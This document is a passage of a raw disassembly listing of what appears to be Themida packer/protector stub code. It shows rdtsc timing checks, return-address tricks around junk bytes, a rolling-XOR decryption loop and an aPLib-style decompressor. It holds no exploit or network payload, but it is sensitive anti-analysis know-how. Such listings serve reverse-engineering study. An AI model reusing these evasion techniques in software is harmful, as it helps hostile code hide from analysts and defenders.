loc_550B20:				; CODE XREF: Themida_:00550B0Ej
					; Themida_:00550B14j
		nop
		mov	dx, 2628h
		push	eax
		push	eax
		push	edx
		mov	dx, 0D84Ch
		rdtsc
		jle	loc_550B36
		pusha
		popa


loc_550B36:				; CODE XREF: Themida_:00550B2Ej
		pop	edx
		pop	eax
		nop
		push	0
		push	ebp
		call	sub_550B44
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550B44	proc near		; CODE XREF: Themida_:00550B3Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_550B44	endp

; ---------------------------------------------------------------------------
		dd 20800F45h, 0F000000h, 1A86h,	14E800h, 17730000h, 0D7BD814h
		dd 4424AC60h, 0EEAA600h, 0BD9910A7h, 0BB5A1CAAh, 24201301h
		dd 2F1185C6h, 8945060Eh, 0E2A1D85h, 0E5950906h,	68060E28h
		dd 19C60CBAh, 81D38B66h, 5CAF2404h, 14E874ACh, 1000000h
		dd 0C4C6BE9Fh, 0FE610904h, 1AFFBA0Fh, 0F3AFA24Dh, 31DB0685h
		dd 0E08798Dh, 0B5FF5A06h, 60E19F5h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 67C35242h, 4FEF7F0Ch, 6784F0BDh
		dd 3BAD858Dh, 958B060Eh, 60E1F6Dh, 958BD0FFh, 60E17C9h
		dd 2E5D8589h, 0B70F060Eh, 9D8958D0h, 60E195Dh
; ---------------------------------------------------------------------------


loc_550C10:				; CODE XREF: Themida_:00550B04j
		cmp	dword ptr [ebp+60E4D9Ah], 0
		jz	loc_550C73
		cmc
		cmc
		push	dword ptr [ebp+60E0E99h]
		jg	loc_550C39
		push	edi
		jmp	loc_550C38
; ---------------------------------------------------------------------------
		db 22h,	0AFh, 73h
		dd 0EA93D9B7h
; ---------------------------------------------------------------------------


loc_550C38:				; CODE XREF: Themida_:00550C2Cj
		pop	edx


loc_550C39:				; CODE XREF: Themida_:00550C25j
		pusha
		mov	[ebp+60E0309h],	esi
		call	sub_550C4D
		mov	ds:7FE2ECA5h, al
		in	eax, 4Fh
		push	ebx

; =============== S U B	R O U T	I N E =======================================



sub_550C4D	proc near		; CODE XREF: Themida_:00550C40p
		mov	[ebp+60E0C91h],	ebx
		pop	edx
		popa
		call	dword ptr [ebp+60E2E5Dh]
		call	sub_550C6C
		add	eax, 94BBA261h
		outsb
		mov	esi, es
		or	dh, ah
		cmp	bh, [eax]
sub_550C4D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_550C6C	proc near		; CODE XREF: sub_550C4D+Ep

var_18		= dword	ptr -18h
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00550D3D SIZE 00000049 BYTES
; FUNCTION CHUNK AT 00550D8B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00550DAB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00550DDD SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00550E10 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00550E73 SIZE 000000C2 BYTES
; FUNCTION CHUNK AT 00550F37 SIZE 00000040 BYTES

		mov	[ebp+60E0A6Dh],	ecx
		pop	ebx


loc_550C73:				; CODE XREF: Themida_:00550C17j
		cmp	eax, 0
		jnz	loc_550D3D
		mov	ebx, [ebp+60E2E89h]
		cmp	dword ptr [ebp+60E205Dh], 0
		jz	loc_550CDB
		jmp	loc_550C9C
; ---------------------------------------------------------------------------
		dd 260CA01Ch, 0E0713D08h
; ---------------------------------------------------------------------------


loc_550C9C:				; CODE XREF: sub_550C6C+23j
		push	dword ptr [ebp+60E205Dh]
		or	ebx, [ebp+60E17EDh]
		mov	eax, 1
		mov	[ebp+60E2445h],	esi
		jmp	loc_550E73
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	loc_550CC3
		and	[edi-3Dh], bl


loc_550CC3:				; CODE XREF: sub_550C6C+4Fp
		pop	edi
		mov	[esp+4], edi
		add	dword ptr [esp+4], 1Bh
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		db 0DCh
		dd 0F156F844h
		db 35h,	6Dh, 8Fh
; ---------------------------------------------------------------------------


loc_550CDB:				; CODE XREF: sub_550C6C+1Dj
		push	dword ptr [ebp+60E0E99h]
		push	0
		push	esi
		call	sub_550CEC
		and	[esi-3Dh], bl
sub_550C6C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_550CEC	proc near		; CODE XREF: sub_550C6C+78p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_550CEC	endp

; ---------------------------------------------------------------------------
		dd 0B4CE93FDh, 0FB7F927h, 0B5FFA9FDh, 60E0E99h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0C1C35747h, 2E5DB5FFh
		dd 0BB66060Eh, 3CE9D93Bh, 89000001h, 0E08B18Dh
; ---------------------------------------------------------------------------
		push	es
; START	OF FUNCTION CHUNK FOR sub_550C6C


loc_550D3D:				; CODE XREF: sub_550C6C+Aj
		pop	edi
		mov	[ebp+60E0809h],	eax
		cmp	dword ptr [ebp+60E1FD1h], 0
		jnz	loc_550DDD
		and	bx, 35FAh
		mov	byte ptr [ebp+60E2F11h], 4Dh
		adc	edx, 32732D67h
		push	88682E3Ah
		jno	$+6
		add	[esp+8+var_8], 1BCD486Eh
		sub	[ebp+60E1F6Dh],	ebx
		push	dword ptr [ebp+60E3031h]
		jmp	loc_550D8B
; END OF FUNCTION CHUNK	FOR sub_550C6C
; ---------------------------------------------------------------------------
		dw 0F6EEh
; ---------------------------------------------------------------------------
		fxch	st(4)
		inc	edx
; START	OF FUNCTION CHUNK FOR sub_550C6C


loc_550D8B:				; CODE XREF: sub_550C6C+115j
		lea	eax, [ebp+60E3BADh]
		mov	ebx, 153CC0Ch
		call	eax
		jmp	loc_550DAB
; END OF FUNCTION CHUNK	FOR sub_550C6C
; ---------------------------------------------------------------------------
		scasd
		add	[ebx], bl
		xor	[ecx+258F58E1h], bh
		add	eax, 0F40B8617h
; START	OF FUNCTION CHUNK FOR sub_550C6C


loc_550DAB:				; CODE XREF: sub_550C6C+12Cj
		mov	[ebp+60E1FD1h],	eax
		push	0
		push	edi
		call	sub_550DBC
		and	[edi-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_550C6C

; =============== S U B	R O U T	I N E =======================================



sub_550DBC	proc near		; CODE XREF: sub_550C6C+148p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_550DBC	endp

; ---------------------------------------------------------------------------
		xlat
		sub	edi, edx
		xor	[ebp-6048F68Eh], ah
		push	ecx
		or	ebx, [ebp+60E1F55h]
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_550C6C


loc_550DDD:				; CODE XREF: sub_550C6C+DFj
		mov	eax, 0
		mov	ebx, [ebp+60E1CB5h]
		mov	[ebp+60E4D43h],	edi
		mov	bx, si
		or	eax, eax
		jz	loc_550E10
		mov	ebx, [ebp+60E204Dh]
		jmp	loc_550E73
; END OF FUNCTION CHUNK	FOR sub_550C6C
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+60E1431h]
		mov	ebx, [ebp+60E19B9h]
; START	OF FUNCTION CHUNK FOR sub_550C6C


loc_550E10:				; CODE XREF: sub_550C6C+187j
		push	dword ptr [ebp+60E2E5Dh]
		jle	$+6
		pusha
		js	loc_550E28
		mov	edi, 37B18EA6h


loc_550E28:				; CODE XREF: sub_550C6C+1B1j
		mov	ah, dl
		popa
		lea	eax, [ebp+610A196h]
		push	0
		push	edx
		call	sub_550E3C
		and	[edx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_550C6C

; =============== S U B	R O U T	I N E =======================================



sub_550E3C	proc near		; CODE XREF: sub_550C6C+1C8p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_550E3C	endp

; ---------------------------------------------------------------------------
		dd 803C9F8Fh, 0EC1FD6B1h, 0EA8166BCh, 0B70F67FFh, 0CD8D89D2h
		dd 50060E23h, 9240489h,	0E001DBDh, 0D5958B06h
; ---------------------------------------------------------------------------
		push	ss
		push	cs
		push	es
; START	OF FUNCTION CHUNK FOR sub_550C6C


loc_550E73:				; CODE XREF: sub_550C6C+47j
					; sub_550C6C+193j
		push	eax
		push	esi
		lea	edi, [ebp+60E5495h]
		lea	ecx, [ebp+60E788Ch]
		mov	eax, 748323BCh
		sub	ecx, edi


loc_550E88:				; CODE XREF: sub_550C6C+222j
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_550E88
		pop	esi
		pop	eax
		cmp	dword ptr [ebp+60E205Dh], 0
		jz	short loc_550EA1
		mov	ecx, [ebp+60E09F9h]


loc_550EA1:				; CODE XREF: sub_550C6C+22Dj
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	loc_550F58
		cmp	dword ptr [ebp+60E2FE1h], 0
		jz	short loc_550EBF
		call	dword ptr [ebp+60E1B91h]


loc_550EBF:				; CODE XREF: sub_550C6C+24Bj
		mov	eax, 0
		or	eax, eax
		jnz	short loc_550ED1
		cmp	dword ptr [ebp+60E4D4Bh], 1
		jz	short loc_550EDA


loc_550ED1:				; CODE XREF: sub_550C6C+25Aj
		cmp	dword ptr [ebp+60E4D4Bh], 2
		jnz	short loc_550EE8


loc_550EDA:				; CODE XREF: sub_550C6C+263j
		mov	esi, [ebp+60E4D43h]
		lea	eax, [ebp+610A196h]
		call	eax


loc_550EE8:				; CODE XREF: sub_550C6C+26Cj
		cmp	dword ptr [ebp+60E2991h], 0
		jz	short loc_550EF7
		call	dword ptr [ebp+60E2271h]


loc_550EF7:				; CODE XREF: sub_550C6C+283j
		lea	eax, [ebp+60E4360h]
		call	eax
		cmp	dword ptr [ebp+60E0B31h], 2
		jnz	short loc_550F37
		mov	esp, [ebp+60E3055h]
		mov	eax, [ebp+60E205Dh]
		mov	[esp+18h+var_18], eax
		mov	dword ptr [ebp+60E02E9h], 1
		mov	esi, [ebp+60E4D47h]
		mov	ebp, [ebp+60E21F9h]
		mov	eax, 1
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_550C6C
; ---------------------------------------------------------------------------
		jmp	short $+2
; START	OF FUNCTION CHUNK FOR sub_550C6C


loc_550F37:				; CODE XREF: sub_550C6C+29Aj
		mov	dword ptr [ebp+60E02E9h], 1
		mov	esp, [ebp+60E3055h]
		mov	esi, [ebp+60E2FD5h]
		mov	ebp, [ebp+60E21F9h]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_550F58:				; CODE XREF: sub_550C6C+23Ej
		cmp	dword ptr [ebp+60E2991h], 0
		jz	short loc_550F70
		cmp	dword ptr [ebp+60E2271h], 0
		jz	short loc_550F70
		call	dword ptr [ebp+60E2271h]


loc_550F70:				; CODE XREF: sub_550C6C+2F3j
					; sub_550C6C+2FCj
		mov	esi, [ebp+60E4D43h]
		retn
; END OF FUNCTION CHUNK	FOR sub_550C6C
; ---------------------------------------------------------------------------
		mov	edx, ecx
		push	0
		push	ebx
		call	sub_550F84
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_550F84	proc near		; CODE XREF: Themida_:00550F7Cp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_550F84	endp

; ---------------------------------------------------------------------------
		dd 0F02B2CFh, 684h, 99B52900h, 0BA060E21h, 0
; ---------------------------------------------------------------------------
		mov	bx, 0D8AEh
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_550FBC
; ---------------------------------------------------------------------------


loc_550FBA:				; CODE XREF: Themida_:00550FBFj
		inc	eax
		inc	edi


loc_550FBC:				; CODE XREF: Themida_:00550FB8j
		cmp	byte ptr [edi],	0
		jnz	short loc_550FBA
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_550FEB
; ---------------------------------------------------------------------------


loc_550FC8:				; CODE XREF: Themida_:00550FEDj
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_550FE0
; ---------------------------------------------------------------------------


loc_550FDD:				; CODE XREF: Themida_:00550FE3j
		mul	ebx
		dec	esi


loc_550FE0:				; CODE XREF: Themida_:00550FDBj
		cmp	esi, 0
		ja	short loc_550FDD
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_550FEB:				; CODE XREF: Themida_:00550FC6j
		or	eax, eax
		jnz	short loc_550FC8
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		mov	dl, 83h
		movzx	ebx, bx


loc_550FFE:				; CODE XREF: Themida_:loc_54E39Aj
		mov	eax, ecx
		jmp	loc_5511B2
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		mov	edi, [esp+28h]
		cld
		mov	dl, 80h


loc_551011:				; CODE XREF: Themida_:loc_551029j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_55101C:				; CODE XREF: Themida_:005510A7j
					; Themida_:0055110Fj ...
		add	dl, dl
		jnz	loc_551029
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_551029:				; CODE XREF: Themida_:0055101Ej
		jnb	loc_551011
		add	dl, dl
		jnz	loc_55103C
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_55103C:				; CODE XREF: Themida_:00551031j
		jnb	loc_5510AC
		xor	eax, eax
		add	dl, dl
		jnz	loc_551051
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_551051:				; CODE XREF: Themida_:00551046j
		jnb	loc_551181
		add	dl, dl
		jnz	loc_551064
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_551064:				; CODE XREF: Themida_:00551059j
		adc	eax, eax
		add	dl, dl
		jnz	loc_551073
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_551073:				; CODE XREF: Themida_:00551068j
		adc	eax, eax
		add	dl, dl
		jnz	loc_551082
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_551082:				; CODE XREF: Themida_:00551077j
		adc	eax, eax
		add	dl, dl
		jnz	loc_551091
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_551091:				; CODE XREF: Themida_:00551086j
		adc	eax, eax
		jz	loc_55109F
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_55109F:				; CODE XREF: Themida_:00551093j
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	loc_55101C
; ---------------------------------------------------------------------------


loc_5510AC:				; CODE XREF: Themida_:loc_55103Cj
		mov	eax, 1


loc_5510B1:				; CODE XREF: Themida_:loc_5510CDj
		add	dl, dl
		jnz	loc_5510BE
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5510BE:				; CODE XREF: Themida_:005510B3j
		adc	eax, eax
		add	dl, dl
		jnz	loc_5510CD
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5510CD:				; CODE XREF: Themida_:005510C2j
		jb	loc_5510B1
		sub	eax, ebx
		mov	ebx, 1
		jnz	loc_551114
		mov	ecx, 1


loc_5510E5:				; CODE XREF: Themida_:loc_551101j
		add	dl, dl
		jnz	loc_5510F2
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5510F2:				; CODE XREF: Themida_:005510E7j
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_551101
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_551101:				; CODE XREF: Themida_:005510F6j
		jb	loc_5510E5
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_55101C
; ---------------------------------------------------------------------------


loc_551114:				; CODE XREF: Themida_:005510DAj
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_551122:				; CODE XREF: Themida_:loc_55113Ej
		add	dl, dl
		jnz	loc_55112F
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_55112F:				; CODE XREF: Themida_:00551124j
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_55113E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_55113E:				; CODE XREF: Themida_:00551133j
		jb	loc_551122
		cmp	eax, 7D00h
		jnb	loc_551171
		cmp	eax, 500h
		jb	loc_551168
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_55101C
; ---------------------------------------------------------------------------


loc_551168:				; CODE XREF: Themida_:00551154j
		cmp	eax, 7Fh
		ja	loc_551174


loc_551171:				; CODE XREF: Themida_:00551149j
		add	ecx, 2


loc_551174:				; CODE XREF: Themida_:0055116Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_55101C
; ---------------------------------------------------------------------------


loc_551181:				; CODE XREF: Themida_:loc_551051j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	loc_5511A6
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_55101C
; ---------------------------------------------------------------------------


loc_5511A6:				; CODE XREF: Themida_:00551189j
		sub	edi, [esp+28h]
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_5511B2:				; CODE XREF: Themida_:00551000j
		mov	edx, 929h
		jmp	loc_572D8E
; ---------------------------------------------------------------------------
		dd offset word_5C8596
		dd 0
		dd 25C003Fh, 5C8596h, 12FF6Ch, 25C0028h, 5C6AC4h, 202h
		dd 2, 1, 0
		dd 0FA4695FCh, 5 dup(0)
		dd offset loc_551F5C
		dd offset loc_554AD9
		dd offset sub_558854
		dd offset sub_55DA0F
		dd offset sub_55B7DE
		dd offset sub_551B36
		dd offset sub_55B7E7
		dd offset sub_55D0F3
		dd offset sub_555449
		dd offset sub_554592
		dd offset sub_558657
		dd offset sub_551F4B
		dd offset sub_55678F
		dd offset sub_559DEB
		dd offset sub_5546E4
		dd offset sub_554937
		dd offset sub_552B28
		dd offset sub_55BC21
		dd offset sub_5525C0
		dd offset sub_554562
		dd offset sub_555D0D
		dd offset sub_5523E1
		dd offset sub_554628
		dd offset sub_55D40D
		dd offset sub_552D10
		dd offset sub_551C53
		dd offset sub_553EEA
		dd offset sub_55B1F8
		dd offset sub_552E8E
		dd offset sub_552C64
		dd offset sub_55B3F3
		dd offset sub_55703A
		dd offset sub_557D32
		dd offset sub_555B43
		dd offset sub_55A922
		dd offset sub_55A833
		dd offset sub_556F9C
		dd offset sub_552850
		dd offset sub_55BDF0
		dd offset sub_55DAC5
		dd offset sub_55B304
		dd offset sub_551501
		dd offset sub_55D9AA
		dd offset sub_5554E9
		dd offset sub_55A918
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 3Dh,	55h, 0
		dd offset loc_5573A9
		dd offset loc_55746F
		dd offset sub_5568B8
		dd offset sub_55B231
		dd offset sub_55BB30
		dd offset sub_55A407
		dd offset sub_552E14
		dd offset sub_55D637
		dd offset sub_557093
		dd offset sub_55AABB
		dd offset sub_558FCE
; ---------------------------------------------------------------------------
		pop	ebx
		popf
		push	ebp
		add	[eax+3Fh], al
		push	ebp
		add	[edi+29h], al
		push	ebp
		add	dh, dl
		cmpsd
		push	ebp
		add	[eax-50h], cl
		push	ebp
		add	[ebx+7Fh], al
		push	ebp
		add	dh, bl
		mov	ds:0B3D50055h, al
		push	ebp
		add	[esi-40h], cl
		push	ebp
		add	[esi-3DFFAAADh], al
		jnz	short near ptr loc_551363+1
		add	[ebx+60h], al
		push	ebp
		add	[ecx-33FFAA86h], bl
		pop	esp
		push	ebp
		add	ah, cl
		mov	ds:0D9A10055h, al
		push	ebp
		add	[eax-4Fh], bl
		push	ebp
		add	dh, ch
		pusha
		push	ebp
		add	[edx-6Ch], ah
		push	ebp
		add	dh, ch
		cmp	[ebp+0], edx
		mov	al, ds:660055C3h
		ficom	word ptr [ebp+0]
		sub	esi, [eax+55h]
		add	[ebp+450055BDh], ch
		mov	al, ds:27E50055h
		push	ebp
		add	bl, cl
		xor	eax, 317A0055h
		push	ebp
		add	[ecx], bl
		movsb
		push	ebp
		add	[edi+26h], bh
		push	ebp
		add	dh, ah
		sub	edx, [ebp+0]
		dec	ebx
		leave
		push	ebp


loc_551363:				; CODE XREF: Themida_:0055130Dj
		add	dl, bl
		dec	ebx
		push	ebp
		add	[esi-73h], ch
		push	ebp
		add	ch, bl
		adc	dword ptr [ebp+0], offset loc_555496
		daa
		lds	edx, [ebp+0]
		push	0B000551Bh
		aaa
		push	ebp
		add	[ebx+1Ch], cl
		push	ebp
		add	[esi+edi-438DFFABh], bl
		push	ebp
		add	[edx], ch
		retf	55h
; ---------------------------------------------------------------------------
		dd offset loc_55A34D
		dd offset sub_55B62C
		dd offset sub_55B17A
		dd offset sub_55A1A7
		dd offset sub_55A0D6
		dd offset sub_55A4DA
		dd offset sub_5550A6
		dd offset sub_55326E
		dd offset sub_555C6B
		dd offset sub_556B3D
		dd offset sub_556E4D
		dd offset sub_559CF7
		dd offset sub_559D1D
		dd offset sub_557023
; ---------------------------------------------------------------------------
		xchg	eax, ebx
		jge	short loc_551420
		add	ds:6200552Bh, bl
		cmp	eax, 0C79C0055h
		push	ebp
		add	[edx-47FFAABCh], bh
		xchg	eax, esp
		push	ebp
		add	[ecx-2Ah], dh
		push	ebp
		add	bh, al
		jge	short near ptr loc_55143B+1
		add	[edx-65FFAA5Ah], dh
		pop	ebx
		push	ebp
		add	[edx+5Eh], bh
		push	ebp
		add	ds:0EA005562h, ah
		adc	byte ptr [ebp+0], 88h
		retn
; ---------------------------------------------------------------------------
		dw 55h
		dd offset sub_552791
		dd offset sub_559E57
		dd offset sub_5573DF
		dd offset sub_553331
		dd offset sub_55CFFC
; ---------------------------------------------------------------------------
		add	eax, 41005522h
		retf
; ---------------------------------------------------------------------------
		push	ebp
		add	ch, cl
		mov	[ebp+0], edx


loc_551420:				; CODE XREF: Themida_:005513C9j
		sti
		db	65h
		push	ebp
		add	[esi+4B0055B0h], dh
		rcl	dword ptr [ebp+0], 44h
		dec	esp
		push	ebp
		add	dh, al
		pop	edi
		push	ebp
		add	[edi], ah
		push	esi
		push	ebp
		add	[ebx+45h], ch
		push	ebp


loc_55143B:				; CODE XREF: Themida_:005513E5j
		add	bh, dh
		into
		push	ebp
		add	[edx-10FFAA73h], dh
		sbb	eax, 0A0020055h
		push	ebp
		add	[esi+6Fh], ah
		push	ebp
		add	ch, bl
		mov	dh, 55h
		add	[edi+55h], bl
		add	ah, al
		pop	ebp
		push	ebp
		add	[edx-6EFFAA69h], bh
		mov	ebx, 0B4100055h
		push	ebp
		add	dl, bl
		popa
		push	ebp
		add	[esi], al
		into
		push	ebp
		add	dl, ch
		jle	short loc_5514C8
		add	al, dl
		daa
		push	ebp
		add	[edx-0CFFAA88h], ah
		xchg	eax, edi
		push	ebp
		add	[eax], ch
		mov	ds:85840055h, al
		push	ebp
		add	[ebx], ah
		dec	ebp
		push	ebp
		add	[ebx+4Ah], bh
		push	ebp
		add	cl, al
		test	al, 55h
		add	[esi], ah
		lodsd
		push	ebp
		add	[ecx+67h], bl
		push	ebp
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DB1


loc_55149C:				; CODE XREF: sub_572DB1+F4j
					; sub_572DB1+FEj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 60E7EA8h
		mov	eax, edi
		add	edi, 60E7BC0h
		cmp	eax, [edi+2Ch]
		jnz	short loc_5514BA
		jmp	short loc_5514CD
; ---------------------------------------------------------------------------


loc_5514BA:				; CODE XREF: sub_572DB1-218FBj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5514C9
; ---------------------------------------------------------------------------


loc_5514C4:				; CODE XREF: sub_572DB1-218E6j
		add	[edi+ecx*4+40h], eax


loc_5514C8:				; CODE XREF: Themida_:00551471j
		dec	ecx


loc_5514C9:				; CODE XREF: sub_572DB1-218EFj
		or	ecx, ecx
		jnz	short loc_5514C4


loc_5514CD:				; CODE XREF: sub_572DB1-218F9j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_5514DA:				; CODE XREF: sub_572DB1-218D0j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_5514DA


loc_5514E3:				; CODE XREF: Themida_:0055187Bj
					; Themida_:00551A69j ...
		lodsb
		add	al, 11h
		sub	al, 0DAh
		add	al, 4
		add	al, 5Fh
		jmp	loc_553D7B
; END OF FUNCTION CHUNK	FOR sub_572DB1
; ---------------------------------------------------------------------------


loc_5514F1:				; CODE XREF: Themida_:0055AB2Ej
		mov	edi, [esp]
		push	1CEAh
		mov	[esp], eax
		jmp	loc_554B15

; =============== S U B	R O U T	I N E =======================================



sub_551501	proc near		; DATA XREF: Themida_:005512A4o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00555431 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055C36C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055C776 SIZE 00000018 BYTES

		mov	ax, [esp+0]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	7CDBh
		mov	[esp+8+var_8], edi
		mov	edi, 4
		add	edx, 48853F76h
		jmp	loc_55C776
sub_551501	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553ACA


loc_551526:				; CODE XREF: sub_553ACA+131Fj
		sub	esi, 1E2A708Bh
		jmp	loc_55C7BE
; END OF FUNCTION CHUNK	FOR sub_553ACA
; ---------------------------------------------------------------------------


loc_551531:				; CODE XREF: Themida_:00558ACEj
		mov	ebp, 131447F9h
		add	ebp, 67603F24h
		dec	ebp
		shr	ebp, 2
		add	ebp, 52744E43h
		jmp	loc_5571EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C840


loc_55154B:				; CODE XREF: sub_55C840-974Dj
		shl	dl, 4
		jmp	loc_55AEB8
; END OF FUNCTION CHUNK	FOR sub_55C840
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_551553:				; CODE XREF: sub_55ABF6-31F4j
		push	eax
		mov	al, 63h
		add	bl, al
		pop	eax
		jmp	loc_55AB6E
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_55155E:				; CODE XREF: sub_551F97+5664j
		push	dx
		sub	esp, 4
		mov	[esp], edi
		mov	di, 54E7h
		dec	di
		jmp	loc_55D6F5
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------


loc_551571:				; CODE XREF: Themida_:0055A11Cj
		mov	edi, 385E3941h
		add	edx, edi
		pop	edi
		shl	edx, 8
		push	esi
		mov	esi, 1
		add	edx, esi
		pop	esi
		add	edx, 0D82E5A03h
		sub	ebx, 56941FBAh
		jmp	loc_553E1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B560


loc_551596:				; CODE XREF: sub_55B560+Cj
		add	eax, ebx
		pop	ebx
		pop	esi
		jmp	loc_55D2E6
; END OF FUNCTION CHUNK	FOR sub_55B560
; ---------------------------------------------------------------------------


loc_55159F:				; CODE XREF: Themida_:00559172j
		xchg	edi, [esp]
		pop	esp
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		jmp	loc_558E52
; ---------------------------------------------------------------------------


loc_5515B0:				; CODE XREF: Themida_:0055AB94j
		xchg	ebx, [esp]
		pop	ebx
		sub	ebx, 39841276h
		jmp	loc_556ECD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5515BF:				; CODE XREF: sub_55ABF6-81C6j
		sub	eax, ebx
		pop	ebx
		push	[esp-4+arg_0]
		pop	ecx
		add	esp, 4
		push	18h
		mov	[esp-4+arg_0], esi
		push	eax
		mov	eax, 4747258h
		mov	esi, eax
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], eax
		push	esi
		mov	esi, 518D1269h
		jmp	loc_55B423
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_5515FC:				; CODE XREF: Themida_:00559106j
		pop	dword ptr [esp]
		jmp	loc_553DB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_551604:				; CODE XREF: sub_55ABF6+30EEj
		sub	esi, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		mov	eax, esi
		pop	esi
		shl	eax, cl
		jmp	loc_555B00
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5554E9


